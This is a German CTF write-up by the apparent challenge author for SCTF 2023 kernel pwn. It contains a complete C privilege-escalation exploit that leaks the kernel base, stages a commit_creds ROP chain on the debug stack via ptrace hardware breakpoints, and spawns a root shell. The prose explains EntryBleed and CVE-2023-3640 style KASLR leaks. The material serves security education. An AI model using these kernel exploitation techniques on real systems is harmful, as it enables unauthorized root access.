
SCTF 2023 kernel pwn && CVE-2023-3640
SCTF 2023 kernel pwn
Nebenbemerkung: Werbung in eigener Sache – der Autor ist ein Bachelorstudent, der 2024 seinen Abschluss macht und nimmt in diesem Jahr an der Herbst-Rekrutierung teil. Kontaktaufnahme ist willkommen~
Diese Aufgabe soll zwei Punkte untersuchen.


Die spezifischen Adressen und Offsets sind im Exploit enthalten, aber ich hoffe dennoch, dass ihr selbst debuggen könnt.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>
void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void teardown()
{
kill(hbp_pid,9);
}
void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
teardown();
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
teardown();
exit(1);
}
}
void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %m\n");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0: //child
//pin cpu
CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;" // start at there
"mov r12, commit_cred;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x77777777;"
"mov r11, 0x77777777;"
"mov r10, getshelladdr;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"mov rax, user_sp;"
"mov rcx, user_ss;"
"mov rdx, 0xcccccccc;"
"mov rsi, 0xa000000;"
"mov rdi, [rsi];"
);
exit(1);
case -1:
printf("fork: %m\n");
exit(1);
default: //parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}
int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr = ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llx\n",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}
Eigentlich ist dies nur eine 1-Day-Ausnutzungsaufgabe. Die grundlegende Idee stammt aus diesem Artikel von Google's Project Zero. Der Autor hat lediglich daraus eine CTF-Aufgabe gemacht, um euch diese – meiner Meinung nach – mächtige und interessante Ausnutzungsmethode näherzubringen und euch die Faszination erleben zu lassen, mit nur einem Byte an einer einzigen Adresse eine Root-Shell zu bekommen. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1
Dies ist eine Aufgabe, die eine 0-Day-Kernel-Informationslecks betrifft. Allerdings gab es eine unerwartete Lösung (beide Teams, die die Aufgabe gelöst haben, haben die unerwartete Lösung verwendet).
Die Aufgabe ist eine verstärkte Version von sycrop, bei der das Leak entfernt wurde. Da die Kernelversion 6.2 verwendet wird, wurde dem per CPU entry area Randomisierung hinzugefügt.
Zuerst muss ein Leak erfolgen. Hierbei kommt die CPU-Sicherheitslücke ins Spiel. Beachte das -enable-kvm und -cpu host im Startskript; es wird die physische CPU verwendet. Tatsächlich sind die meisten Intel-CPUs von dieser Sicherheitslücke betroffen. Einzelheiten siehe den 1-Day-Artikel Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form). Mit dem dortigen Skript kann KASLR ermittelt werden.
Für den ROP-Teil folgt man dem Ansatz von sycrop: Der Stack sollte zum DB-Stack verschoben werden. Da nun aber der per CPU entry area randomisiert ist, wird auch der DB-Stack (bei Offset per CPU entry area + 0xf000) randomisiert. Allerdings wird bei aktiviertem KPTI nicht nur der Systemaufruf-Eintrittspunkt (EntryBleed's entry_SYSCALL_64) in den Benutzermodus gemappt, sondern auch der per CPU entry area. Daher kann der Offset durch Messung der Zeitdifferenz mit Prefetch-Befehlen ermittelt werden. Das konkrete Skript kann erst nach Freigabe durch den Hersteller veröffentlicht werden (aber die obige Beschreibung sollte ausreichen, damit ihr es selbst hinbekommt).
Zur unerwarteten Lösung: Für den ROP-Teil kann ret2dir verwendet werden. Dies war ein Versehen des Autors. Bei der Erstellung der Aufgabe hatte ich auch überlegt, ob ret2dir funktionieren könnte, aber aus Zeitgründen den Hauptteil der Aufgabe fertiggestellt und dann vergessen, mich darum zu kümmern. Immerhin ist die Aufgabe so noch lösbar.